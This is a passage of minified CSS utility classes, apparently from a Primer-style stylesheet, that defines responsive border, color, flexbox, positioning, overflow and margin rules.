!important}.rounded-sm-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-sm-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-sm-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-sm-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-sm-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-sm-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-sm-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-sm-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-sm-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-sm-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-sm-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-sm-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-sm-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-sm-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}@media(min-width: 768px){.border-md{border:1px solid var(--color-border-default) !important}.border-md-0{border:0 !important}.border-md-top{border-top:1px solid var(--color-border-default) !important}.border-md-right{border-right:1px solid var(--color-border-default) !important}.border-md-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-md-left{border-left:1px solid var(--color-border-default) !important}.border-md-top-0{border-top:0 !important}.border-md-right-0{border-right:0 !important}.border-md-bottom-0{border-bottom:0 !important}.border-md-left-0{border-left:0 !important}.rounded-md{border-radius:6px !important}.rounded-md-0{border-radius:0 !important}.rounded-md-1{border-radius:4px !important}.rounded-md-2{border-radius:6px !important}.rounded-md-3{border-radius:8px !important}.rounded-md-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-md-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-md-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-md-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-md-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-md-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-md-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-md-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-md-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-md-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-md-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-md-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-md-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-md-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-md-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-md-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}@media(min-width: 1012px){.border-lg{border:1px solid var(--color-border-default) !important}.border-lg-0{border:0 !important}.border-lg-top{border-top:1px solid var(--color-border-default) !important}.border-lg-right{border-right:1px solid var(--color-border-default) !important}.border-lg-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-lg-left{border-left:1px solid var(--color-border-default) !important}.border-lg-top-0{border-top:0 !important}.border-lg-right-0{border-right:0 !important}.border-lg-bottom-0{border-bottom:0 !important}.border-lg-left-0{border-left:0 !important}.rounded-lg{border-radius:6px !important}.rounded-lg-0{border-radius:0 !important}.rounded-lg-1{border-radius:4px !important}.rounded-lg-2{border-radius:6px !important}.rounded-lg-3{border-radius:8px !important}.rounded-lg-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-lg-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-lg-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-lg-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-lg-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-lg-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-lg-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-lg-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-lg-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-lg-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-lg-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-lg-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-lg-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-lg-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-lg-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-lg-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}@media(min-width: 1280px){.border-xl{border:1px solid var(--color-border-default) !important}.border-xl-0{border:0 !important}.border-xl-top{border-top:1px solid var(--color-border-default) !important}.border-xl-right{border-right:1px solid var(--color-border-default) !important}.border-xl-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-xl-left{border-left:1px solid var(--color-border-default) !important}.border-xl-top-0{border-top:0 !important}.border-xl-right-0{border-right:0 !important}.border-xl-bottom-0{border-bottom:0 !important}.border-xl-left-0{border-left:0 !important}.rounded-xl{border-radius:6px !important}.rounded-xl-0{border-radius:0 !important}.rounded-xl-1{border-radius:4px !important}.rounded-xl-2{border-radius:6px !important}.rounded-xl-3{border-radius:8px !important}.rounded-xl-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-xl-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-xl-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-xl-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-xl-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-xl-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-xl-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-xl-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-xl-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-xl-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-xl-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-xl-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-xl-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-xl-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-xl-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-xl-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}.circle{border-radius:50% !important}.border-dashed{border-style:dashed !important}.color-shadow-small{box-shadow:var(--color-shadow-small) !important}.color-shadow-medium{box-shadow:var(--color-shadow-medium) !important}.color-shadow-large{box-shadow:var(--color-shadow-large) !important}.color-shadow-extra-large{box-shadow:var(--color-shadow-extra-large) !important}.box-shadow-none{box-shadow:none !important}.color-fg-default{color:var(--color-fg-default) !important}.color-fg-muted{color:var(--color-fg-muted) !important}.color-fg-subtle{color:var(--color-fg-subtle) !important}.color-fg-accent{color:var(--color-accent-fg) !important}.color-fg-success{color:var(--color-success-fg) !important}.color-fg-attention{color:var(--color-attention-fg) !important}.color-fg-severe{color:var(--color-severe-fg) !important}.color-fg-danger{color:var(--color-danger-fg) !important}.color-fg-open{color:var(--color-open-fg) !important}.color-fg-closed{color:var(--color-closed-fg) !important}.color-fg-done{color:var(--color-done-fg) !important}.color-fg-sponsors{color:var(--color-sponsors-fg) !important}.color-fg-on-emphasis{color:var(--color-fg-on-emphasis) !important}.color-bg-default{background-color:var(--color-canvas-default) !important}.color-bg-overlay{background-color:var(--color-canvas-overlay) !important}.color-bg-inset{background-color:var(--color-canvas-inset) !important}.color-bg-subtle{background-color:var(--color-canvas-subtle) !important}.color-bg-emphasis{background-color:var(--color-neutral-emphasis-plus) !important}.color-bg-accent{background-color:var(--color-accent-subtle) !important}.color-bg-accent-emphasis{background-color:var(--color-accent-emphasis) !important}.color-bg-success{background-color:var(--color-success-subtle) !important}.color-bg-success-emphasis{background-color:var(--color-success-emphasis) !important}.color-bg-attention{background-color:var(--color-attention-subtle) !important}.color-bg-attention-emphasis{background-color:var(--color-attention-emphasis) !important}.color-bg-severe{background-color:var(--color-severe-subtle) !important}.color-bg-severe-emphasis{background-color:var(--color-severe-emphasis) !important}.color-bg-danger{background-color:var(--color-danger-subtle) !important}.color-bg-danger-emphasis{background-color:var(--color-danger-emphasis) !important}.color-bg-open{background-color:var(--color-open-subtle) !important}.color-bg-open-emphasis{background-color:var(--color-open-emphasis) !important}.color-bg-closed{background-color:var(--color-closed-subtle) !important}.color-bg-closed-emphasis{background-color:var(--color-closed-emphasis) !important}.color-bg-done{background-color:var(--color-done-subtle) !important}.color-bg-done-emphasis{background-color:var(--color-done-emphasis) !important}.color-bg-sponsors{background-color:var(--color-sponsors-subtle) !important}.color-bg-sponsors-emphasis{background-color:var(--color-sponsors-emphasis) !important}.color-bg-transparent{background-color:transparent !important}.color-border-default{border-color:var(--color-border-default) !important}.color-border-muted{border-color:var(--color-border-muted) !important}.color-border-subtle{border-color:var(--color-border-subtle) !important}.color-border-accent{border-color:var(--color-accent-muted) !important}.color-border-accent-emphasis{border-color:var(--color-accent-emphasis) !important}.color-border-success{border-color:var(--color-success-muted) !important}.color-border-success-emphasis{border-color:var(--color-success-emphasis) !important}.color-border-attention{border-color:var(--color-attention-muted) !important}.color-border-attention-emphasis{border-color:var(--color-attention-emphasis) !important}.color-border-severe{border-color:var(--color-severe-muted) !important}.color-border-severe-emphasis{border-color:var(--color-severe-emphasis) !important}.color-border-danger{border-color:var(--color-danger-muted) !important}.color-border-danger-emphasis{border-color:var(--color-danger-emphasis) !important}.color-border-open{border-color:var(--color-open-muted) !important}.color-border-open-emphasis{border-color:var(--color-open-emphasis) !important}.color-border-closed{border-color:var(--color-closed-muted) !important}.color-border-closed-emphasis{border-color:var(--color-closed-emphasis) !important}.color-border-done{border-color:var(--color-done-muted) !important}.color-border-done-emphasis{border-color:var(--color-done-emphasis) !important}.color-border-sponsors{border-color:var(--color-sponsors-muted) !important}.color-border-sponsors-emphasis{border-color:var(--color-sponsors-emphasis) !important}.color-fg-inherit{color:inherit !important}.details-overlay[open]>summary::before{position:fixed;top:0;right:0;bottom:0;left:0;z-index:80;display:block;cursor:default;content:" ";background:transparent}.details-overlay-dark[open]>summary::before{z-index:111;background:var(--color-primer-canvas-backdrop)}.details-reset>summary{list-style:none;transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.details-reset>summary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-reset>summary:focus:not(:focus-visible){outline:solid 1px transparent}.details-reset>summary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-reset>summary.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.details-reset>summary.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.details-reset>summary.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.details-reset>summary::before{display:none}.details-reset>summary::-webkit-details-marker{display:none}.details-overlay>summary{transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.details-overlay>summary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-overlay>summary:focus:not(:focus-visible){outline:solid 1px transparent}.details-overlay>summary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-overlay>summary.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.details-overlay>summary.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.details-overlay>summary.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.flex-row{flex-direction:row !important}.flex-row-reverse{flex-direction:row-reverse !important}.flex-column{flex-direction:column !important}.flex-column-reverse{flex-direction:column-reverse !important}.flex-wrap{flex-wrap:wrap !important}.flex-nowrap{flex-wrap:nowrap !important}.flex-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-justify-start{justify-content:flex-start !important}.flex-justify-end{justify-content:flex-end !important}.flex-justify-center{justify-content:center !important}.flex-justify-between{justify-content:space-between !important}.flex-justify-around{justify-content:space-around !important}.flex-items-start{align-items:flex-start !important}.flex-items-end{align-items:flex-end !important}.flex-items-center{align-items:center !important}.flex-items-baseline{align-items:baseline !important}.flex-items-stretch{align-items:stretch !important}.flex-content-start{align-content:flex-start !important}.flex-content-end{align-content:flex-end !important}.flex-content-center{align-content:center !important}.flex-content-between{align-content:space-between !important}.flex-content-around{align-content:space-around !important}.flex-content-stretch{align-content:stretch !important}.flex-1{flex:1 !important}.flex-auto{flex:auto !important}.flex-grow-0{flex-grow:0 !important}.flex-shrink-0{flex-shrink:0 !important}.flex-self-auto{align-self:auto !important}.flex-self-start{align-self:flex-start !important}.flex-self-end{align-self:flex-end !important}.flex-self-center{align-self:center !important}.flex-self-baseline{align-self:baseline !important}.flex-self-stretch{align-self:stretch !important}.flex-order-1{order:1 !important}.flex-order-2{order:2 !important}.flex-order-none{order:inherit !important}@media(min-width: 544px){.flex-sm-row{flex-direction:row !important}.flex-sm-row-reverse{flex-direction:row-reverse !important}.flex-sm-column{flex-direction:column !important}.flex-sm-column-reverse{flex-direction:column-reverse !important}.flex-sm-wrap{flex-wrap:wrap !important}.flex-sm-nowrap{flex-wrap:nowrap !important}.flex-sm-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-sm-justify-start{justify-content:flex-start !important}.flex-sm-justify-end{justify-content:flex-end !important}.flex-sm-justify-center{justify-content:center !important}.flex-sm-justify-between{justify-content:space-between !important}.flex-sm-justify-around{justify-content:space-around !important}.flex-sm-items-start{align-items:flex-start !important}.flex-sm-items-end{align-items:flex-end !important}.flex-sm-items-center{align-items:center !important}.flex-sm-items-baseline{align-items:baseline !important}.flex-sm-items-stretch{align-items:stretch !important}.flex-sm-content-start{align-content:flex-start !important}.flex-sm-content-end{align-content:flex-end !important}.flex-sm-content-center{align-content:center !important}.flex-sm-content-between{align-content:space-between !important}.flex-sm-content-around{align-content:space-around !important}.flex-sm-content-stretch{align-content:stretch !important}.flex-sm-1{flex:1 !important}.flex-sm-auto{flex:auto !important}.flex-sm-grow-0{flex-grow:0 !important}.flex-sm-shrink-0{flex-shrink:0 !important}.flex-sm-self-auto{align-self:auto !important}.flex-sm-self-start{align-self:flex-start !important}.flex-sm-self-end{align-self:flex-end !important}.flex-sm-self-center{align-self:center !important}.flex-sm-self-baseline{align-self:baseline !important}.flex-sm-self-stretch{align-self:stretch !important}.flex-sm-order-1{order:1 !important}.flex-sm-order-2{order:2 !important}.flex-sm-order-none{order:inherit !important}}@media(min-width: 768px){.flex-md-row{flex-direction:row !important}.flex-md-row-reverse{flex-direction:row-reverse !important}.flex-md-column{flex-direction:column !important}.flex-md-column-reverse{flex-direction:column-reverse !important}.flex-md-wrap{flex-wrap:wrap !important}.flex-md-nowrap{flex-wrap:nowrap !important}.flex-md-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-md-justify-start{justify-content:flex-start !important}.flex-md-justify-end{justify-content:flex-end !important}.flex-md-justify-center{justify-content:center !important}.flex-md-justify-between{justify-content:space-between !important}.flex-md-justify-around{justify-content:space-around !important}.flex-md-items-start{align-items:flex-start !important}.flex-md-items-end{align-items:flex-end !important}.flex-md-items-center{align-items:center !important}.flex-md-items-baseline{align-items:baseline !important}.flex-md-items-stretch{align-items:stretch !important}.flex-md-content-start{align-content:flex-start !important}.flex-md-content-end{align-content:flex-end !important}.flex-md-content-center{align-content:center !important}.flex-md-content-between{align-content:space-between !important}.flex-md-content-around{align-content:space-around !important}.flex-md-content-stretch{align-content:stretch !important}.flex-md-1{flex:1 !important}.flex-md-auto{flex:auto !important}.flex-md-grow-0{flex-grow:0 !important}.flex-md-shrink-0{flex-shrink:0 !important}.flex-md-self-auto{align-self:auto !important}.flex-md-self-start{align-self:flex-start !important}.flex-md-self-end{align-self:flex-end !important}.flex-md-self-center{align-self:center !important}.flex-md-self-baseline{align-self:baseline !important}.flex-md-self-stretch{align-self:stretch !important}.flex-md-order-1{order:1 !important}.flex-md-order-2{order:2 !important}.flex-md-order-none{order:inherit !important}}@media(min-width: 1012px){.flex-lg-row{flex-direction:row !important}.flex-lg-row-reverse{flex-direction:row-reverse !important}.flex-lg-column{flex-direction:column !important}.flex-lg-column-reverse{flex-direction:column-reverse !important}.flex-lg-wrap{flex-wrap:wrap !important}.flex-lg-nowrap{flex-wrap:nowrap !important}.flex-lg-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-lg-justify-start{justify-content:flex-start !important}.flex-lg-justify-end{justify-content:flex-end !important}.flex-lg-justify-center{justify-content:center !important}.flex-lg-justify-between{justify-content:space-between !important}.flex-lg-justify-around{justify-content:space-around !important}.flex-lg-items-start{align-items:flex-start !important}.flex-lg-items-end{align-items:flex-end !important}.flex-lg-items-center{align-items:center !important}.flex-lg-items-baseline{align-items:baseline !important}.flex-lg-items-stretch{align-items:stretch !important}.flex-lg-content-start{align-content:flex-start !important}.flex-lg-content-end{align-content:flex-end !important}.flex-lg-content-center{align-content:center !important}.flex-lg-content-between{align-content:space-between !important}.flex-lg-content-around{align-content:space-around !important}.flex-lg-content-stretch{align-content:stretch !important}.flex-lg-1{flex:1 !important}.flex-lg-auto{flex:auto !important}.flex-lg-grow-0{flex-grow:0 !important}.flex-lg-shrink-0{flex-shrink:0 !important}.flex-lg-self-auto{align-self:auto !important}.flex-lg-self-start{align-self:flex-start !important}.flex-lg-self-end{align-self:flex-end !important}.flex-lg-self-center{align-self:center !important}.flex-lg-self-baseline{align-self:baseline !important}.flex-lg-self-stretch{align-self:stretch !important}.flex-lg-order-1{order:1 !important}.flex-lg-order-2{order:2 !important}.flex-lg-order-none{order:inherit !important}}@media(min-width: 1280px){.flex-xl-row{flex-direction:row !important}.flex-xl-row-reverse{flex-direction:row-reverse !important}.flex-xl-column{flex-direction:column !important}.flex-xl-column-reverse{flex-direction:column-reverse !important}.flex-xl-wrap{flex-wrap:wrap !important}.flex-xl-nowrap{flex-wrap:nowrap !important}.flex-xl-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-xl-justify-start{justify-content:flex-start !important}.flex-xl-justify-end{justify-content:flex-end !important}.flex-xl-justify-center{justify-content:center !important}.flex-xl-justify-between{justify-content:space-between !important}.flex-xl-justify-around{justify-content:space-around !important}.flex-xl-items-start{align-items:flex-start !important}.flex-xl-items-end{align-items:flex-end !important}.flex-xl-items-center{align-items:center !important}.flex-xl-items-baseline{align-items:baseline !important}.flex-xl-items-stretch{align-items:stretch !important}.flex-xl-content-start{align-content:flex-start !important}.flex-xl-content-end{align-content:flex-end !important}.flex-xl-content-center{align-content:center !important}.flex-xl-content-between{align-content:space-between !important}.flex-xl-content-around{align-content:space-around !important}.flex-xl-content-stretch{align-content:stretch !important}.flex-xl-1{flex:1 !important}.flex-xl-auto{flex:auto !important}.flex-xl-grow-0{flex-grow:0 !important}.flex-xl-shrink-0{flex-shrink:0 !important}.flex-xl-self-auto{align-self:auto !important}.flex-xl-self-start{align-self:flex-start !important}.flex-xl-self-end{align-self:flex-end !important}.flex-xl-self-center{align-self:center !important}.flex-xl-self-baseline{align-self:baseline !important}.flex-xl-self-stretch{align-self:stretch !important}.flex-xl-order-1{order:1 !important}.flex-xl-order-2{order:2 !important}.flex-xl-order-none{order:inherit !important}}.position-static{position:static !important}.position-relative{position:relative !important}.position-absolute{position:absolute !important}.position-fixed{position:fixed !important}.position-sticky{position:sticky !important}@media(min-width: 544px){.position-sm-static{position:static !important}.position-sm-relative{position:relative !important}.position-sm-absolute{position:absolute !important}.position-sm-fixed{position:fixed !important}.position-sm-sticky{position:sticky !important}}@media(min-width: 768px){.position-md-static{position:static !important}.position-md-relative{position:relative !important}.position-md-absolute{position:absolute !important}.position-md-fixed{position:fixed !important}.position-md-sticky{position:sticky !important}}@media(min-width: 1012px){.position-lg-static{position:static !important}.position-lg-relative{position:relative !important}.position-lg-absolute{position:absolute !important}.position-lg-fixed{position:fixed !important}.position-lg-sticky{position:sticky !important}}@media(min-width: 1280px){.position-xl-static{position:static !important}.position-xl-relative{position:relative !important}.position-xl-absolute{position:absolute !important}.position-xl-fixed{position:fixed !important}.position-xl-sticky{position:sticky !important}}.top-0{top:0 !important}.right-0{right:0 !important}.bottom-0{bottom:0 !important}.left-0{left:0 !important}.top-auto{top:auto !important}.right-auto{right:auto !important}.bottom-auto{bottom:auto !important}.left-auto{left:auto !important}@media(min-width: 544px){.top-sm-0{top:0 !important}.right-sm-0{right:0 !important}.bottom-sm-0{bottom:0 !important}.left-sm-0{left:0 !important}.top-sm-auto{top:auto !important}.right-sm-auto{right:auto !important}.bottom-sm-auto{bottom:auto !important}.left-sm-auto{left:auto !important}}@media(min-width: 768px){.top-md-0{top:0 !important}.right-md-0{right:0 !important}.bottom-md-0{bottom:0 !important}.left-md-0{left:0 !important}.top-md-auto{top:auto !important}.right-md-auto{right:auto !important}.bottom-md-auto{bottom:auto !important}.left-md-auto{left:auto !important}}@media(min-width: 1012px){.top-lg-0{top:0 !important}.right-lg-0{right:0 !important}.bottom-lg-0{bottom:0 !important}.left-lg-0{left:0 !important}.top-lg-auto{top:auto !important}.right-lg-auto{right:auto !important}.bottom-lg-auto{bottom:auto !important}.left-lg-auto{left:auto !important}}@media(min-width: 1280px){.top-xl-0{top:0 !important}.right-xl-0{right:0 !important}.bottom-xl-0{bottom:0 !important}.left-xl-0{left:0 !important}.top-xl-auto{top:auto !important}.right-xl-auto{right:auto !important}.bottom-xl-auto{bottom:auto !important}.left-xl-auto{left:auto !important}}.v-align-middle{vertical-align:middle !important}.v-align-top{vertical-align:top !important}.v-align-bottom{vertical-align:bottom !important}.v-align-text-top{vertical-align:text-top !important}.v-align-text-bottom{vertical-align:text-bottom !important}.v-align-baseline{vertical-align:baseline !important}.overflow-visible{overflow:visible !important}.overflow-x-visible{overflow-x:visible !important}.overflow-y-visible{overflow-y:visible !important}.overflow-hidden{overflow:hidden !important}.overflow-x-hidden{overflow-x:hidden !important}.overflow-y-hidden{overflow-y:hidden !important}.overflow-auto{overflow:auto !important}.overflow-x-auto{overflow-x:auto !important}.overflow-y-auto{overflow-y:auto !important}.overflow-scroll{overflow:scroll !important}.overflow-x-scroll{overflow-x:scroll !important}.overflow-y-scroll{overflow-y:scroll !important}@media(min-width: 544px){.overflow-sm-visible{overflow:visible !important}.overflow-sm-x-visible{overflow-x:visible !important}.overflow-sm-y-visible{overflow-y:visible !important}.overflow-sm-hidden{overflow:hidden !important}.overflow-sm-x-hidden{overflow-x:hidden !important}.overflow-sm-y-hidden{overflow-y:hidden !important}.overflow-sm-auto{overflow:auto !important}.overflow-sm-x-auto{overflow-x:auto !important}.overflow-sm-y-auto{overflow-y:auto !important}.overflow-sm-scroll{overflow:scroll !important}.overflow-sm-x-scroll{overflow-x:scroll !important}.overflow-sm-y-scroll{overflow-y:scroll !important}}@media(min-width: 768px){.overflow-md-visible{overflow:visible !important}.overflow-md-x-visible{overflow-x:visible !important}.overflow-md-y-visible{overflow-y:visible !important}.overflow-md-hidden{overflow:hidden !important}.overflow-md-x-hidden{overflow-x:hidden !important}.overflow-md-y-hidden{overflow-y:hidden !important}.overflow-md-auto{overflow:auto !important}.overflow-md-x-auto{overflow-x:auto !important}.overflow-md-y-auto{overflow-y:auto !important}.overflow-md-scroll{overflow:scroll !important}.overflow-md-x-scroll{overflow-x:scroll !important}.overflow-md-y-scroll{overflow-y:scroll !important}}@media(min-width: 1012px){.overflow-lg-visible{overflow:visible !important}.overflow-lg-x-visible{overflow-x:visible !important}.overflow-lg-y-visible{overflow-y:visible !important}.overflow-lg-hidden{overflow:hidden !important}.overflow-lg-x-hidden{overflow-x:hidden !important}.overflow-lg-y-hidden{overflow-y:hidden !important}.overflow-lg-auto{overflow:auto !important}.overflow-lg-x-auto{overflow-x:auto !important}.overflow-lg-y-auto{overflow-y:auto !important}.overflow-lg-scroll{overflow:scroll !important}.overflow-lg-x-scroll{overflow-x:scroll !important}.overflow-lg-y-scroll{overflow-y:scroll !important}}@media(min-width: 1280px){.overflow-xl-visible{overflow:visible !important}.overflow-xl-x-visible{overflow-x:visible !important}.overflow-xl-y-visible{overflow-y:visible !important}.overflow-xl-hidden{overflow:hidden !important}.overflow-xl-x-hidden{overflow-x:hidden !important}.overflow-xl-y-hidden{overflow-y:hidden !important}.overflow-xl-auto{overflow:auto !important}.overflow-xl-x-auto{overflow-x:auto !important}.overflow-xl-y-auto{overflow-y:auto !important}.overflow-xl-scroll{overflow:scroll !important}.overflow-xl-x-scroll{overflow-x:scroll !important}.overflow-xl-y-scroll{overflow-y:scroll !important}}.clearfix::before{display:table;content:""}.clearfix::after{display:table;clear:both;content:""}.float-left{float:left !important}.float-right{float:right !important}.float-none{float:none !important}@media(min-width: 544px){.float-sm-left{float:left !important}.float-sm-right{float:right !important}.float-sm-none{float:none !important}}@media(min-width: 768px){.float-md-left{float:left !important}.float-md-right{float:right !important}.float-md-none{float:none !important}}@media(min-width: 1012px){.float-lg-left{float:left !important}.float-lg-right{float:right !important}.float-lg-none{float:none !important}}@media(min-width: 1280px){.float-xl-left{float:left !important}.float-xl-right{float:right !important}.float-xl-none{float:none !important}}.width-fit{max-width:100% !important}.width-full{width:100% !important}.height-fit{max-height:100% !important}.height-full{height:100% !important}.min-width-0{min-width:0 !important}.width-auto{width:auto !important}.direction-rtl{direction:rtl !important}.direction-ltr{direction:ltr !important}@media(min-width: 544px){.width-sm-auto{width:auto !important}.direction-sm-rtl{direction:rtl !important}.direction-sm-ltr{direction:ltr !important}}@media(min-width: 768px){.width-md-auto{width:auto !important}.direction-md-rtl{direction:rtl !important}.direction-md-ltr{direction:ltr !important}}@media(min-width: 1012px){.width-lg-auto{width:auto !important}.direction-lg-rtl{direction:rtl !important}.direction-lg-ltr{direction:ltr !important}}@media(min-width: 1280px){.width-xl-auto{width:auto !important}.direction-xl-rtl{direction:rtl !important}.direction-xl-ltr{direction:ltr !important}}.m-0{margin:0 !important}.mt-0{margin-top:0 !important}.mb-0{margin-bottom:0 !important}.mr-0{margin-right:0 !important}.ml-0{margin-left:0 !important}.mx-0{margin-right:0 !important;margin-left:0 !important}.my-0{margin-top:0 !important;margin-bottom:0 !important}.m-1{margin:4px !important}.mt-1{margin-top:4px !important}.mb-1{margin-bottom:4px !important}.mr-1{margin-right:4px !important}.ml-1{margin-left:4px !important}.mt-n1{margin-top:-4px !important}.mb-n1{margin-bottom:-4px !important}.mr-n1{margin-right:-4px !important}.ml-n1{margin-left:-4px !important}.mx-1{margin-right:4px !important;margin-left:4px !important}.my-1{margin-top:4px !important;margin-bottom:4px !important}.m-2{margin:8px !important}.mt-2{margin-top:8px !important}.mb-2{margin-bottom:8px !important}.mr-2{margin-right:8px !important}.ml-2{margin-left:8px !important}.mt-n2{margin-top:-8px !important}.mb-n2{margin-bottom:-8px !important}.mr-n2{margin-right:-8px !important}.ml-n2{margin-left:-8px !important}.mx-2{margin-right:8px !important;margin-left:8px !important}.my-2{margin-top:8px !important;margin-bottom:8px !important}.m-3{margin:16px !important}.mt-3{margin-top:16px !important}.mb-3{margin-bottom:16px !important}.mr-3{margin-right:16px !important}.ml-3{margin-left:16px !important}.mt-n3{margin-top:-16px !important}.mb-n3{margin-bottom:-16px !important}.mr-n3{margin-right:-16px !important}.ml-n3{margin-left:-16px !important}.mx-3{margin-right:16px !important;margin-left:16px !important}.my-3{margin-top:16px !important;margin-bottom:16px !important}.m-4{margin:24px !important}.mt-4{margin-top:24px !important}.mb-4{margin-bottom:24px !important}.mr-4{margin-right:24px !important}.ml-4{margin-left:24px !important}.mt-n4{margin-top:-24px !important}.mb-n4{margin-bottom:-24px !important}.mr-n4{margin-right:-24px !important}.ml-n4{margin-left:-24px !important}.mx-4{margin-right:24px !important;margin-left:24px !important}.my-4{margin-top:24px !important;margin-bottom:24px !important}.m-5{margin:32px !important}.mt-5{margin-top:32px !important}.mb-5{margin-bottom:32px !important}.mr-5{margin-right:32px !important}.ml-5{margin-left:32px !important}.mt-n5{margin-top:-32px !important}.mb-n5{margin-bottom:-32px !important}.mr-n5{margin-right:-32px !important}.ml-n5{margin-left:-32px !important}.mx-5{margin-right:32px !important;margin-left:32px !important}.my-5{margin-top:32px !important;margin-bottom:32px !important}.m-6{margin:40px !important}.mt-6{margin-top:40px !important}.mb-6{margin-bottom:40px !important}.mr-6{margin-right:40px !important}.ml-6{margin-left:40px !important}.mt-n6{margin-top:-40px !important}.mb-n6{margin-bottom:-40px !important}.mr-n6{margin-right:-40px !important}.ml-n6{margin-left:-40px 